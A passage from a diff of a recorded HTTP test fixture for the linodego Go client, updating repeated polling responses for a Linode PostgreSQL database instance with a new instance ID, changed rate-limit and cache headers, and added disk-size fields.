max-age=31536000 Vary: @@ -13416,7 +16110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13432,18 +16126,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13456,16 +16150,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:27:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13481,7 +16178,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13497,18 +16194,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13521,16 +16218,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:27:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13546,7 +16246,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13562,18 +16262,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13586,16 +16286,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:27:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13611,7 +16314,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13627,18 +16330,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13651,16 +16354,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:28:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13676,7 +16382,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13692,18 +16398,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13716,16 +16422,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:28:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13741,7 +16450,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13757,18 +16466,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13781,16 +16490,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:28:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13806,7 +16518,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13822,18 +16534,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13846,16 +16558,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:28:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13871,7 +16586,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13887,18 +16602,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13911,16 +16626,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:29:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13936,7 +16654,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13952,18 +16670,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -13976,16 +16694,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:29:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14001,7 +16722,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14017,18 +16738,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14041,16 +16762,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:29:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14066,7 +16790,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14082,18 +16806,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14106,16 +16830,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:29:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14131,7 +16858,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14147,18 +16874,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14171,16 +16898,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:30:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14196,7 +16926,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14212,18 +16942,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14236,16 +16966,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, 